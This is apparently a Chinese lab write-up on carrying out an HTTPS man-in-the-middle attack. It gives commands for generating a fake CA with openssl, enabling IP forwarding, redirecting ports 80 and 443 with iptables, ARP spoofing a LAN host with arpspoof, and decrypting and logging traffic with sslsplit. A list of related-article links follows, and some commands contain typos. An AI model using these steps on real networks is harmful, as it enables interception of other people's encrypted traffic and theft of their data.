HTTPS中间人攻击实验

一.实验基础

1、HTTPS概述

HTTPS (全称: Hyper Text Transfer Protocol over SecureSocketLayer), 是以安全为目标的HTTP通道,在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。

默认端口:443

SSLsplit特点:对客户端伪装成服务器,对服务器伪装成客户端需要提前准备证书(可以用openss|生成)

2、HTTPS加密传输过程

客户端发起https请求——建立https握手——协商加密算法——客户端获取公钥证书(证书、公钥)——客户端验证公钥证书——交换会话密钥——加密信息传输

数据(1)一对称加密算法加密——hash加密后的数据 (2)——公钥加密后的数据(3)

将1、2、3都发给服务器

3、HTTPS攻击流程图

二、实验步骤

1.生成私钥

openssl genrsa -out ca.key 2048

2、利用私钥签名生成证书

openssl req -new -x509 -days 365 -key ca.key -out ca.crt

3、攻击机的配置

(1)开启路由
sysctl -W net.ipy4.ip_ forward=1
或直接修改/proc/sys/net/ipv4/ip. forward文件设置为1

(2)开启端口转发
查看当前nat表规则 iptables -t nat -L
因为不相干的nat表规则会对实验有影响,所以清空nat表规则 iptables -t nat -F
确定80和443端口没有被占用,如果被占用就杀掉

netstat -pantu | grep :80
netstat -pantu | grep :443

目标80端口重定向到8080端口

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

4.arp欺骗

欺骗指令arpspoof -i eth0 -t 192.168.1.107 -r 192.168.1.1

5.欺骗成功

查看目标主机的arp表,发现 已经欺骗成功

6、启动SSLsplit

sslsplit -D -l connect.log -j /home/ydx -S ydx/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

第一个路径是存放ca密钥和证书的目录,第二个路径是存放目标主机的具体数据内容

-D debug详细信息
-1记录连接信息到文件
-j指定SSLspit的根目录
-S存放客户端请求的具体数据内容
-k私钥
-C证书

访问百度访问不到


参考链接

https://www.freebuf.com/vuls/253343.html

邓林之阴初见昆仑君,惊鸿一瞥,乱我心曲

HTTPS中间人攻击实验相关推荐

  1. Https中间人攻击

    Https中间人攻击 https协议由 http + ssl 协议构成,具体的链接过程可参考SSL或TLS握手的概述 中间人攻击过程如下: 服务器向客户端发送公钥. 攻击者截获公钥,保留在自己手上. ...

  2. HTTPS中间人攻击实践(原理·实践)

    前言 很早以前看过HTTPS的介绍,并了解过TLS的相关细节,也相信使用HTTPS是相对安全可靠的.直到前段时间在验证https代理通道连接时,搭建了MITM环境,才发现事实并不是我想的那样.由于部分 ...

  3. HTTPS中间人攻击,HTTPS被抓包了怎么办?

    目录 一.写在前面 二.什么是中间人攻击 三.https 是绝对安全的吗 四.中间人攻击的初步了解 五.中间人攻击的深入了解 六.https 是如何防止中间人攻击的 SSL-Pinning 七.浏览器 ...

  4. HTTPS中间人攻击实践(原理·实践) 1

    前言 很早以前看过HTTPS的介绍,并了解过TLS的相关细节,也相信使用HTTPS是相对安全可靠的.直到前段时间在验证https代理通道连接时,搭建了MITM环境,才发现事实并不是我想的那样.由于部分 ...

  5. 简述HTTPS中间人攻击

    https协议由 http + ssl 协议构成,具体的链接过程可参考SSL或TLS握手的概述 中间人攻击过程如下: 服务器向客户端发送公钥. 攻击者截获公钥,保留在自己手上. 然后攻击者自己生成一个 ...

  6. 面试题目总结(1) https中间人攻击,ConcurrentHashMap的原理 ,serialVersionUID常量,redis单线程,

    1.HTTPS协议中间人攻击是什么? https是 对http内容的加密,中间人攻击是指攻击者通过与客户端和客户端的目标服务器同时建立连接,作为客户端和服务器的桥梁,处理双方的数据,整个会话期间的内容 ...

  7. 中间人攻击HTTPS可行性分析

    我们在做内网渗透的时候,往往通过ARP投毒.DNS欺骗.会话劫持等来发起中间人攻击(MITM).利用这些手段攻击HTTP协议的网站简直易如反掌.但是现在几乎所有的网站都已经升级为更加安全的HTTPS协 ...

  8. 【Linux云计算架构:第三阶段-Linux高级运维架构】第19章——安装Kali黑客操作系统-利用ettercap实施中间人攻击

    内容: 19.1 安装Kali黑客操作系统及相关实战 19.2 实战:linux之kali系统ssh服务开启 19.3 实战: kali下的nmap扫描工具 19.4 MITM中间人攻击理论 19.5 ...

  9. MITM中间人攻击理论

    中间人攻击理论 中间人攻击(Man in the Middle Attack,简称"MITM 攻击")是一种间接的入侵攻击. 通过各种技术手段,将入侵者控制的一台计算机,放置在网络 ...

最新文章

  1. nginx的安装和使用(一)
  2. 给Visual Studio 2010中文版添加Windows Phone 7模板
  3. tp5 if 如果有html判断,tp5条件判断,in,notin,between,if等
  4. 【David Silver强化学习公开课】-6:Value Function Approximation
  5. IdentityServer4与ocelot实现认证与客户端统一入口
  6. Oracle 分页语句解释,oracle 分页语句
  7. 工具栏的使用 1118
  8. 云下IDC和云上VPC如何高速稳定互联?——云专线接入方案
  9. matlab anova 如何不画图,方差分析的数据处理和作图
  10. ubuntu忘记密码,忘记root密码的解决方法!【转载】
  11. MySQL的MyISAM和InnoDB对比及优化(转)
  12. [原] 让网页中的对话框不显示以前输入的信息
  13. windows部署iBase4J
  14. 3dmax学习6——扫描命令
  15. u盘复制文件第二台计算机无文件夹,u盘做成启动盘后拷贝进去的文件不见了怎么办...
  16. Windows10键盘快捷键大全
  17. win8 修改背景色为绿豆沙颜色
  18. 为海思u-boot快速生成reg_info.bin文件
  19. 一天一道CTF 第六天
  20. C语言--经典100题

热门文章

  1. 【安卓 R 源码】Activity 启动流程及其生命周期源码分析
  2. ubuntu系统下运行可执行文件 (application/x-executable)
  3. iPhone系统可以降级吗?
  4. 如何使用 Axios 中的请求拦截器 和响应拦截器
  5. 神经网络(深度学习)入门学习
  6. exp/expdp 与 imp/impdp命令导入导出数据库详解
  7. Java项目:毕业论文管理系统(java+SSM+JSP+Tomcat+mysql)
  8. kubernetes缔造者Craig McLuckie谈:有效的产品管理
  9. YOLOv3代码阅读笔记之utils.py(第六篇)
  10. linux csgo 是英文,linux csgo服务器